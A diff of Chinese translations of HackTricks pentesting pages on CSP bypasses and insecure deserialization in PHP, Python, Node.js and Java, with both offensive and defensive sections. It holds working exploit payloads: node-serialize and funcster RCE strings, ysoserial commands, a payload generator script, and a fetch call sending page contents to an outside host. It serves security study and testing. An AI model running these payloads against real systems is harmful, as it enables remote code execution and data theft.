@ -593,20 +593,20 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
||||
|
||||
这两种方法利用了CSP在浏览器中的实现和行为的细微差别，展示了看似安全的策略如何无意中泄露敏感信息。
|
||||
|
||||
来自[**这里**](https://ctftime.org/writeup/29310)的技巧。
|
||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
## 绕过CSP的危险技术
|
||||
## 不安全的技术以绕过CSP
|
||||
|
||||
### 当参数过多时的PHP错误
|
||||
|
||||
根据[**这个视频中评论的最后一种技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)，发送过多参数（1001个GET参数，尽管你也可以使用POST参数和超过20个文件）。在PHP网页代码中定义的任何**`header()`**都**不会被发送**，因为这将触发错误。
|
||||
根据[**这个视频中评论的最后一个技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)，发送过多的参数（1001个GET参数，尽管你也可以使用POST参数和超过20个文件）。在PHP网页代码中定义的任何**`header()`**都**不会被发送**，因为这将触发错误。
|
||||
|
||||
### PHP响应缓冲区溢出
|
||||
|
||||
PHP默认情况下**将响应缓冲到4096**字节。因此，如果PHP显示警告，通过提供**足够的数据在警告中**，**响应**将在**CSP头**之前**发送**，导致头被忽略。\
|
||||
然后，这种技术基本上是**用警告填充响应缓冲区**，以便CSP头不被发送。
|
||||
PHP以默认方式**缓冲响应到4096**字节。因此，如果PHP显示警告，通过提供**足够的数据在警告中**，**响应**将在**CSP头**之前**发送**，导致头被忽略。\
|
||||
然后，这个技术基本上是**用警告填充响应缓冲区**，以便CSP头不被发送。
|
||||
|
||||
来自[**这个写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)的想法。
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### 重写错误页面
|
||||
|
||||
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME是一种利用XSS（或高度限制的XSS）**在页面的一个端点**中**滥用****同一源的其他端点。** 这通过从攻击者页面加载易受攻击的端点，然后将攻击者页面刷新到您想要滥用的同一源的真实端点来实现。这样，**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问**要滥用的**真实端点的DOM**。有关更多信息，请查看：
|
||||
SOME是一种利用XSS（或高度限制的XSS）**在页面的一个端点**中**滥用** **同源的其他端点。** 这通过从攻击者页面加载易受攻击的端点，然后将攻击者页面刷新到您想要滥用的同源的真实端点来实现。这样，**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问** **要滥用的真实端点的DOM**。有关更多信息，请查看：
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
@ -627,7 +627,7 @@ SOME是一种利用XSS（或高度限制的XSS）**在页面的一个端点**中
|
||||
|
||||
此外，**wordpress**在`/wp-json/wp/v2/users/1?_jsonp=data`中有一个**JSONP**端点，该端点将**反射**发送的**数据**（仅限字母、数字和点）。
|
||||
|
||||
攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中，请注意这个**脚本**将被**加载**，因为它是**被'self'允许的**。此外，由于安装了WordPress，攻击者可能会通过**易受攻击的****回调**端点滥用**SOME攻击**，该端点**绕过CSP**以给予用户更多权限，安装新插件...\
|
||||
攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中，请注意这个**脚本**将被**加载**，因为它是**被'self'允许的**。此外，由于安装了WordPress，攻击者可能会通过**易受攻击的** **回调**端点滥用**SOME攻击**，该端点**绕过CSP**以给予用户更多权限，安装新插件...\
|
||||
有关如何执行此攻击的更多信息，请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
@ -713,7 +713,7 @@ iconURL:"https:"+your_data+"example.com"
|
||||
})
|
||||
)
|
||||
```
|
||||
## 在线检查 CSP 策略
|
||||
## 检查 CSP 策略在线
|
||||
|
||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
|
||||
@ -1,12 +1,12 @@
|
||||
# 反序列化
|
||||
# Deserialization
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
## Basic Information
|
||||
|
||||
**序列化** 被理解为将对象转换为可以保存的格式的方法，目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后的时间重新创建，保持其结构和状态。
|
||||
**序列化** 被理解为将对象转换为可以保存的格式的方法，目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后时间重新创建，保持其结构和状态。
|
||||
|
||||
**反序列化** 则是与序列化相对的过程。它涉及将以特定格式结构化的数据重新构建回对象。
|
||||
**反序列化** 则是抵消序列化的过程。它涉及将以特定格式结构化的数据重新构建回对象。
|
||||
|
||||
反序列化可能是危险的，因为它可能 **允许攻击者操纵序列化数据以执行有害代码** 或在对象重建过程中导致应用程序出现意外行为。
|
||||
|
||||
@ -17,7 +17,7 @@
|
||||
- `__sleep`: 在对象被序列化时调用。此方法应返回一个数组，包含所有应被序列化的对象属性的名称。它通常用于提交待处理的数据或执行类似的清理任务。
|
||||
- `__wakeup`: 在对象被反序列化时调用。它用于重新建立在序列化过程中可能丢失的任何数据库连接，并执行其他重新初始化任务。
|
||||
- `__unserialize`: 当对象被反序列化时，此方法会被调用（如果存在），而不是 `__wakeup`。与 `__wakeup` 相比，它对反序列化过程提供了更多控制。
|
||||
- `__destruct`: 当对象即将被销毁或脚本结束时调用此方法。它通常用于清理任务，如关闭文件句柄或数据库连接。
|
||||
- `__destruct`: 当对象即将被销毁或脚本结束时调用此方法。它通常用于清理任务，例如关闭文件句柄或数据库连接。
|
||||
- `__toString`: 此方法允许将对象视为字符串。它可以用于读取文件或其他基于其中函数调用的任务，有效地提供对象的文本表示。
|
||||
```php
|
||||
<?php
|
||||
@ -74,10 +74,10 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
如果你查看结果，你会发现当对象被反序列化时，**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意，在一些教程中，你会发现当尝试打印某个属性时会调用 **`__toString`** 函数，但显然这**不再发生**。
|
||||
如果你查看结果，你会发现当对象被反序列化时，**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意，在一些教程中，你会发现当尝试打印某个属性时，**`__toString`** 函数被调用，但显然这**不再发生**。
|
||||
|
||||
> [!WARNING]
|
||||
> 如果在类中实现了 **`__unserialize(array $data)`** 方法，则会**代替 `__wakeup()`** 被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。
|
||||
> 如果在类中实现了方法 **`__unserialize(array $data)`**，则会**代替 `__wakeup()`** 被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -94,7 +94,7 @@ This is a test<br />
|
||||
|
||||
### PHP 反序列化 + 自动加载类
|
||||
|
||||
你可以滥用 PHP 自动加载功能来加载任意 php 文件等：
|
||||
你可以滥用 PHP 自动加载功能来加载任意的 php 文件等：
|
||||
|
||||
{{#ref}}
|
||||
php-deserialization-+-autoload-classes.md
|
||||
@ -117,13 +117,13 @@ $ser=serialize($o);
|
||||
```
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助你生成有效载荷以滥用 PHP 反序列化。\
|
||||
请注意，在某些情况下，你 **无法在应用程序的源代码中找到滥用反序列化的方法**，但你可能能够 **滥用外部 PHP 扩展的代码。**\
|
||||
因此，如果可以，请检查服务器的 `phpinfo()` 并 **在互联网上搜索**（甚至在 **PHPGGC** 的 **gadgets** 中）一些可能的你可以滥用的 gadget。
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助你生成利用 PHP 反序列化的有效载荷。\
|
||||
请注意，在某些情况下，你 **无法在应用程序的源代码中找到利用反序列化的方法**，但你可能能够 **利用外部 PHP 扩展的代码。**\
|
||||
因此，如果可以，请检查服务器的 `phpinfo()` 并 **在互联网上搜索**（甚至在 **PHPGGC** 的 **gadgets** 中）一些可能的你可以利用的 gadget。
|
||||
|
||||
### phar:// metadata deserialization
|
||||
|
||||
如果你发现一个 LFI 只是读取文件而不执行其中的 php 代码，例如使用 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 你可以尝试滥用在使用 **phar** 协议时 **读取** **文件** 发生的 **反序列化**。\
|
||||
如果你发现一个 LFI 只是读取文件而不执行其中的 PHP 代码，例如使用 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 你可以尝试利用在使用 **phar** 协议读取 **文件** 时发生的 **反序列化**。\
|
||||
有关更多信息，请阅读以下帖子：
|
||||
|
||||
{{#ref}}
|
||||
@ -145,7 +145,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
在检查绕过技术之前，如果您正在运行 python3，请尝试使用 `print(base64.b64encode(pickle.dumps(P(),2)))` 生成与 python2 兼容的对象。
|
||||
|
||||
有关从 **pickle jails** 逃逸的更多信息，请查看：
|
||||
有关从 **pickle jails** 中逃脱的更多信息，请查看：
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -172,7 +172,7 @@ python-yaml-deserialization.md
|
||||
JS **没有像 PHP 或 Python 那样的 "魔法" 函数**，这些函数仅用于创建对象而被执行。但它有一些 **函数**，即使没有直接调用它们也 **经常使用**，例如 **`toString`**、**`valueOf`**、**`toJSON`**。\
|
||||
如果滥用反序列化，您可以 **妥协这些函数以执行其他代码**（可能滥用原型污染），当它们被调用时，您可以执行任意代码。
|
||||
|
||||
另一种 **"魔法" 调用函数** 的方式是 **妥协一个由异步函数**（promise）**返回的对象**。因为，如果您 **将该返回对象** 转换为另一个 **promise**，并具有一个名为 **"then" 的函数类型属性**，它将仅因为它是由另一个 promise 返回而被 **执行**。_有关更多信息，请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _。_
|
||||
另一种 **"魔法" 调用函数** 的方式是 **妥协一个由异步函数**（promise）**返回的对象**。因为，如果您 **将**该 **返回对象** 转换为另一个 **promise**，并具有一个名为 **"then" 的函数类型属性**，它将仅因为它是由另一个 promise 返回而被 **执行**。_有关更多信息，请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _。_
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -219,11 +219,11 @@ var serialize = require("node-serialize")
|
||||
var payload_serialized = serialize.serialize(y)
|
||||
console.log("Serialized: \n" + payload_serialized)
|
||||
```
|
||||
**序列化对象**将如下所示：
|
||||
序列化对象将如下所示：
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
您可以在示例中看到，当一个函数被序列化时，`_$$ND_FUNC$$_` 标志被附加到序列化对象上。
|
||||
您可以在示例中看到，当一个函数被序列化时，`_$$ND_FUNC$$_` 标志会附加到序列化对象上。
|
||||
|
||||
在文件 `node-serialize/lib/serialize.js` 中，您可以找到相同的标志以及代码是如何使用它的。
|
||||
|
||||
@ -231,7 +231,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
|
||||
.png>)
|
||||
|
||||
正如您在最后一段代码中所看到的，**如果找到该标志**，则使用 `eval` 来反序列化函数，因此基本上**用户输入被用于 `eval` 函数内部**。
|
||||
正如您在最后一段代码中看到的，**如果找到该标志**，则使用 `eval` 来反序列化函数，因此基本上**用户输入被用于 `eval` 函数内部**。
|
||||
|
||||
然而，**仅仅序列化**一个函数**并不会执行它**，因为在我们的示例中需要某部分代码**调用 `y.rce`**，这非常**不可能**。\
|
||||
无论如何，您可以**修改序列化对象**，**添加一些括号**，以便在对象被反序列化时自动执行序列化的函数。\
|
||||
@ -243,20 +243,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
如前所述，该库将在`_$$ND_FUNC$$_`之后获取代码并将**执行它**，使用`eval`。因此，为了**自动执行代码**，您可以**删除函数创建**部分和最后一个括号，并**仅执行一个JS单行代码**，如下例所示：
|
||||
正如之前所指出的，这个库将在`_$$ND_FUNC$$_`之后获取代码并将其**执行**，使用`eval`。因此，为了**自动执行代码**，您可以**删除函数创建**部分和最后一个括号，并**仅执行一个JS单行代码**，如下例所示：
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
您可以[**在这里找到**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **有关如何利用此漏洞的更多信息**。
|
||||
您可以在[**这里找到**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **更多信息**，了解如何利用此漏洞。
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
**funcster** 的一个显著特点是 **标准内置对象** 的不可访问性；它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码的执行，当使用 `console.log()` 或 `require(something)` 等命令时，会导致 `"ReferenceError: console is not defined"` 等异常。
|
||||
**funcster** 的一个显著特点是 **标准内置对象** 的不可访问性；它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码执行，当使用 `console.log()` 或 `require(something)` 等命令时，会导致 `"ReferenceError: console is not defined"` 等异常。
|
||||
|
||||
尽管有此限制，但可以通过特定方法恢复对全局上下文的完全访问，包括所有标准内置对象。通过直接利用全局上下文，可以绕过此限制。例如，可以使用以下代码片段重新建立访问：
|
||||
尽管有此限制，但通过特定方法可以恢复对全局上下文的完全访问，包括所有标准内置对象。通过直接利用全局上下文，可以绕过此限制。例如，可以使用以下代码片段重新建立访问：
|
||||
```javascript
|
||||
funcster = require("funcster")
|
||||
//Serialization
|
||||
@ -282,7 +282,7 @@ funcster.deepDeserialize(desertest3)
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
**serialize-javascript** 包专门用于序列化目的，缺乏任何内置的反序列化功能。用户需自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化的数据：
|
||||
**serialize-javascript** 包专门用于序列化目的，缺乏任何内置的反序列化功能。用户需要自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化的数据：
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
@ -302,9 +302,9 @@ var test =
|
||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**有关更多信息，请阅读此来源**[ **更多信息读这个源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**有关更多信息，请阅读此来源**[ **更多信息请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Cryo库
|
||||
### Cryo library
|
||||
|
||||
在以下页面中，您可以找到有关如何滥用此库以执行任意命令的信息：
|
||||
|
||||
@ -315,14 +315,14 @@ deserialize(test)
|
||||
|
||||
在Java中，**反序列化回调在反序列化过程中执行**。攻击者可以利用恶意有效负载触发这些回调，从而导致潜在的有害操作执行。
|
||||
|
||||
### 指纹
|
||||
### Fingerprints
|
||||
|
||||
#### 白盒
|
||||
#### White Box
|
||||
|
||||
要识别代码库中的潜在序列化漏洞，请搜索：
|
||||
|
||||
- 实现了 `Serializable` 接口的类。
|
||||
- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshare` 函数。
|
||||
- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshared` 函数。
|
||||
|
||||
特别注意：
|
||||
|
||||
@ -333,16 +333,16 @@ deserialize(test)
|
||||
- `ObjectInputStream.readUnshared`。
|
||||
- 一般使用 `Serializable`。
|
||||
|
||||
#### 黑盒
|
||||
#### Black Box
|
||||
|
||||
对于黑盒测试，寻找特定的 **签名或“魔法字节”**，以表示来自 `ObjectInputStream` 的 Java 序列化对象：
|
||||
|
||||
- 十六进制模式： `AC ED 00 05`。
|
||||
- Base64模式： `rO0`。
|
||||
- Base64 模式： `rO0`。
|
||||
- HTTP 响应头中 `Content-type` 设置为 `application/x-java-serialized-object`。
|
||||
- 表示先前压缩的十六进制模式： `1F 8B 08 00`。
|
||||
- 表示先前压缩的 Base64 模式： `H4sIA`。
|
||||
- 具有 `.faces` 扩展名的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查，如 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md)。
|
||||
- 扩展名为 `.faces` 的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查，如 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md)。
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
@ -357,13 +357,13 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
您可以尝试**检查所有已知的易受攻击库**，并且[**Ysoserial**](https://github.com/frohoff/ysoserial)可以提供利用。或者您可以检查[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)上指示的库。\
|
||||
您还可以使用[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)搜索可能被利用的gadget链。\
|
||||
您可以尝试**检查所有已知的易受攻击库**，并且[**Ysoserial**](https://github.com/frohoff/ysoserial)可以提供利用。或者您可以检查在[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)中指示的库。\
|
||||
您还可以使用[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)来搜索可能被利用的gadget链。\
|
||||
运行**gadgetinspector**（构建后）时，不必在意它所经历的大量警告/错误，让它完成。它会将所有发现写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_。请注意，**gadgetinspector不会创建利用，并且可能会指示误报**。
|
||||
|
||||
#### 黑盒测试
|
||||
|
||||
使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)，您可以识别**可用的库**（甚至版本）。有了这些信息，**选择一个有效载荷**来利用漏洞可能会**更容易**。\
|
||||
使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)，您可以识别**可用的库**（甚至版本）。有了这些信息，选择一个有效载荷来利用漏洞可能会**更容易**。\
|
||||
[**阅读此文以了解更多关于GadgetProbe的信息**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
|
||||
GadgetProbe专注于**`ObjectInputStream`反序列化**。
|
||||
|
||||
@ -376,8 +376,8 @@ Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。
|
||||
|
||||
**序列化测试**
|
||||
|
||||
并不是所有的事情都与检查服务器是否使用了任何易受攻击的库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**（可能授予您在web应用程序中的管理员权限）。\
|
||||
如果您发现一个java序列化对象被发送到web应用程序，**您可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **以更人性化的格式打印发送的序列化对象**。知道您发送了哪些数据将更容易修改它并绕过某些检查。
|
||||
并非所有内容都与检查服务器是否使用任何易受攻击的库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**（可能授予您在web应用程序中的管理员权限）。\
|
||||
如果您发现一个Java序列化对象被发送到web应用程序，**您可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**以更人性化的格式打印发送的序列化对象**。知道您发送了哪些数据将更容易修改它并绕过某些检查。
|
||||
|
||||
### **利用**
|
||||
|
||||
@ -385,7 +385,7 @@ Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。
|
||||
|
||||
利用Java反序列化的主要工具是[**ysoserial**](https://github.com/frohoff/ysoserial)（[**在此下载**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)）。您还可以考虑使用[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)，这将允许您使用复杂的命令（例如带管道的命令）。\
|
||||
请注意，此工具**专注于**利用**`ObjectInputStream`**。\
|
||||
我会**先使用“URLDNS”**有效载荷**而不是RCE**有效载荷来测试注入是否可能。无论如何，请注意“URLDNS”有效载荷可能不起作用，但其他RCE有效载荷可能有效。
|
||||
我会**先使用“URLDNS”**有效载荷**再使用RCE**有效载荷来测试注入是否可能。无论如何，请注意“URLDNS”有效载荷可能不起作用，但其他RCE有效载荷可能有效。
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -432,7 +432,7 @@ base64 -w0 payload
|
||||
```
|
||||
在为 **java.lang.Runtime.exec()** 创建有效负载时，您 **不能使用特殊字符**，如 ">" 或 "|" 来重定向执行的输出，不能使用 "$()" 来执行命令，甚至不能 **通过空格** 分隔 **传递参数** 给命令（您可以执行 `echo -n "hello world"`，但不能执行 `python2 -c 'print "Hello world"'`）。为了正确编码有效负载，您可以 [使用这个网页](http://www.jackson-t.ca/runtime-exec-payloads.html)。
|
||||
|
||||
请随意使用下一个脚本来创建 **所有可能的代码执行** 有效负载，适用于 Windows 和 Linux，然后在易受攻击的网页上进行测试：
|
||||
请随意使用下一个脚本来创建 **所有可能的代码执行** 有效负载，适用于 Windows 和 Linux，然后在易受攻击的网页上测试它们：
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -461,7 +461,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)可用于生成有效载荷，以利用 Java 中不同的**Json**和**Yml**序列化库。\
|
||||
为了编译该项目，我需要**添加**这些**依赖项**到 `pom.xml`：
|
||||
```markup
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
<artifactId>activation</artifactId>
|
||||
@ -486,7 +486,7 @@ mvn clean package -DskipTests
|
||||
|
||||
### Labs
|
||||
|
||||
- 如果你想测试一些ysoserial有效载荷，你可以**运行这个webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- 如果你想测试一些ysoserial有效载荷，你可以**运行这个web应用**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Why
|
||||
@ -495,7 +495,7 @@ Java在各种目的上使用了大量的序列化，例如：
|
||||
|
||||
- **HTTP请求**: 序列化广泛用于参数、ViewState、cookies等的管理。
|
||||
- **RMI (远程方法调用)**: Java RMI协议完全依赖于序列化，是Java应用程序中远程通信的基石。
|
||||
- **RMI over HTTP**: 这种方法通常被基于Java的厚客户端web应用程序使用，利用序列化进行所有对象通信。
|
||||
- **RMI over HTTP**: 这种方法通常被基于Java的厚客户端web应用使用，利用序列化进行所有对象通信。
|
||||
- **JMX (Java管理扩展)**: JMX利用序列化在网络上传输对象。
|
||||
- **自定义协议**: 在Java中，标准做法涉及传输原始Java对象，这将在即将到来的利用示例中演示。
|
||||
|
||||
@ -503,7 +503,7 @@ Java在各种目的上使用了大量的序列化，例如：
|
||||
|
||||
#### Transient objects
|
||||
|
||||
一个实现了`Serializable`的类可以将类中任何不应该被序列化的对象实现为`transient`。例如:
|
||||
一个实现了`Serializable`的类可以将类内任何不应该被序列化的对象实现为`transient`。例如:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
@ -512,15 +512,15 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### 避免序列化需要实现 Serializable 的类
|
||||
|
||||
在某些 **对象必须实现 `Serializable`** 接口的场景中，由于类层次结构，存在无意反序列化的风险。为防止这种情况，确保这些对象不可反序列化，通过定义一个始终抛出异常的 `final` `readObject()` 方法，如下所示：
|
||||
在某些 **对象必须实现 `Serializable`** 接口的场景中，由于类层次结构，存在无意反序列化的风险。为防止这种情况，确保这些对象是不可反序列化的，通过定义一个始终抛出异常的 `final` `readObject()` 方法，如下所示：
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### **增强 Java 中的反序列化安全性**
|
||||
#### **增强Java中的反序列化安全性**
|
||||
|
||||
**自定义 `java.io.ObjectInputStream`** 是确保反序列化过程安全的实用方法。当满足以下条件时，此方法适用：
|
||||
**自定义 `java.io.ObjectInputStream`** 是保护反序列化过程的实用方法。当满足以下条件时，此方法适用：
|
||||
|
||||
- 反序列化代码在您的控制之下。
|
||||
- 预期反序列化的类是已知的。
|
||||
@ -546,11 +546,11 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**使用 Java Agent 进行安全增强** 提供了一种在无法修改代码时的备用解决方案。此方法主要适用于 **黑名单有害类**，使用 JVM 参数：
|
||||
**使用 Java 代理增强安全性** 提供了一种在无法修改代码时的后备解决方案。此方法主要适用于 **黑名单有害类**，使用 JVM 参数：
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
它提供了一种动态保护反序列化的方法，适用于立即代码更改不切实际的环境。
|
||||
它提供了一种动态保护反序列化的方法，理想用于立即代码更改不切实际的环境。
|
||||
|
||||
查看 [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) 中的示例
|
||||
|
||||
@ -568,37 +568,37 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**利用外部库增强安全性**：像 **NotSoSerial**、**jdeserialize** 和 **Kryo** 这样的库提供了控制和监控 Java 反序列化的高级功能。这些库可以提供额外的安全层，例如白名单或黑名单类、在反序列化之前分析序列化对象，以及实现自定义序列化策略。
|
||||
**利用外部库增强安全性**：像**NotSoSerial**、**jdeserialize**和**Kryo**这样的库提供了控制和监控Java反序列化的高级功能。这些库可以提供额外的安全层，例如白名单或黑名单类、在反序列化之前分析序列化对象，以及实现自定义序列化策略。
|
||||
|
||||
- **NotSoSerial** 拦截反序列化过程，以防止执行不受信任的代码。
|
||||
- **jdeserialize** 允许在不反序列化的情况下分析序列化的 Java 对象，帮助识别潜在的恶意内容。
|
||||
- **Kryo** 是一个替代的序列化框架，强调速度和效率，提供可配置的序列化策略，可以增强安全性。
|
||||
- **NotSoSerial**拦截反序列化过程，以防止执行不受信任的代码。
|
||||
- **jdeserialize**允许在不反序列化的情况下分析序列化的Java对象，帮助识别潜在的恶意内容。
|
||||
- **Kryo**是一个替代的序列化框架，强调速度和效率，提供可配置的序列化策略，可以增强安全性。
|
||||
|
||||
### 参考文献
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- 反序列化和 ysoserial 讲座：[http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- 反序列化和ysoserial讲座：[http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
